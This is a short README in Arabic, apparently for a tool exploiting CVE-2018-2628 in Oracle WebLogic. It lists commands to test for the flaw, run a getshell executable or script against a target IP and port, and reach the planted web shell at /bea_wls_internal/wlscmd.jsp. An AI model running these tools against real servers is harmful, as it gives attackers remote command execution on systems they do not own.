CVE-2018-2628

weblogic getshell

تم تحسين السكريبت بناءً على نصوص前辈 ليعمل في Python 3 بشكل أساسي على Windows

روابط مرجعية

https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.zh-cn.md

https://github.com/0xMJ/CVE-2018-2628

weblogic getshell

اختبار وجود الثغرة

python pocweblogic.py your-ip

إرسال getshell

"Weblogic GetShell CVE-2018-2628.exe" your-ip port

الاستغلال

Python getshell.py

تعيين shell : http://your-ip:port/bea_wls_internal/wlscmd.jsp

استكشاف الأخطاء 1. يظهر:

هذا لأن بيئة Python الخاصة بك لا تحتوي على وحدة requests كل ما عليك فعله هو تشغيل الأمر التالي في سطر الأوامر (الطرفية):

pip install requests